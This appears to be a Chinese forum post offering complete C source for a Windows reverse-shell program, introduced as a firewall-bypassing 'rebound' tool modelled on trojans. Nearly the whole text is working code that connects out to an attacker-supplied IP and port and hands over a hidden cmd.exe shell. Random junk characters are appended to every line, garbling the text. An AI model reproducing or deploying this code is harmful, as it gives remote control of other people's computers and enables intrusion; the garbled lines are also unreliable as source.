这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 /pvR-Id|6
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/* ============================== 09{B6l6P
Rebound port in Windows NT g
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By wind,2006/7 0#
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===============================*/ "+2Hde1
#include `4&
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#include (0Xgv3wd
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#pragma comment(lib,"wsock32.lib") 3sf+u oV
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void OutputShell(); IGj%)_W
SOCKET sClient; P%v7(bqL4+
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; OYEL` !Q
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void main(int argc,char **argv) |.x |BJ
{ .r/6BDE"
WSADATA stWsaData; zice0({iJ
int nRet; Azun"F_f
SOCKADDR_IN stSaiClient,stSaiServer; C~.7m-YW
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if(argc != 3) gu[3L
{ 0i2ZgOJ
printf("Useage:\n\rRebound DestIP DestPort\n"); k{3:$,
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return; \Ze"Hv
} `Tx1?]
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WSAStartup(MAKEWORD(2,2),&stWsaData); LY%`O#i.
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -t, .A/?
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stSaiClient.sin_family = AF_INET; Jb'M/iG
stSaiClient.sin_port = htons(0); smLXNO
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); [.O3z*[9#
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ]~:9b[G2
{ t0*JinKI
printf("Bind Socket Failed!\n"); Hf
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return; 'OKDB7Ni
} p.9VyM
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stSaiServer.sin_family = AF_INET; S.bB.<
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 8S_i;
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 8v7;{4^
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) io_4d2uBh
{ ?d)I!x,;;
printf("Connect Error!"); J+3PUfg>@R
return; =6Dz<Lq
} Z[Gs/D
OutputShell(); E"D+CD0
} IT a8*Myj
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void OutputShell() P>/n!1c
{ >E&mNp
char szBuff[1024]; P%hi*0pwZ
SECURITY_ATTRIBUTES stSecurityAttributes; U$j*{`$4
OSVERSIONINFO stOsversionInfo; W8:?y*6
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; x
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STARTUPINFO stStartupInfo; ?:(BkY,K5
char *szShell; PSX-b)wb
PROCESS_INFORMATION stProcessInformation; t&+f:)n
unsigned long lBytesRead; "oX@Z^
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); _Y'+E
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); #M;Cw}pW
stSecurityAttributes.lpSecurityDescriptor = 0; -I7"9}j3
stSecurityAttributes.bInheritHandle = TRUE; -,NiSh}A
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); sM)n-Yy#9
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); E9_aNYD
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); K4]c
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9/[3xhB4
stStartupInfo.wShowWindow = SW_HIDE; qkpnXQ
stStartupInfo.hStdInput = hReadPipe; tgn_\ - +
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; @#q>(Ox%
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GetVersionEx(&stOsversionInfo); IP'gN-#i
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switch(stOsversionInfo.dwPlatformId) P!qU8AJkt
{ <^?64
case 1: rWKc,A[
szShell = "command.com"; Zi47)8
break; =
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default: @[M5$,"
szShell = "cmd.exe"; f(Q-W6
break; Sr1xG%;|/
} (;2J}XQvO~
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); /an$4?":~
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send(sClient,szMsg,77,0); WyH2` xxX
while(1) $Yh7N5XH,
{ FCv3ZF?K
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); sr!m
if(lBytesRead) Wu]Dpe
{ 0\f3L a
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); r'7>J:cy=
send(sClient,szBuff,lBytesRead,0); #Jt9U1WbF
} @RW=(&<1
else E"7 iU
{ 5tMp@$F\{[
lBytesRead=recv(sClient,szBuff,1024,0); 5/<?Y&x
if(lBytesRead<=0) break; vzVXRX
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0);
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} oTj9 /r
} AyZL(
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return; swv1>52{
}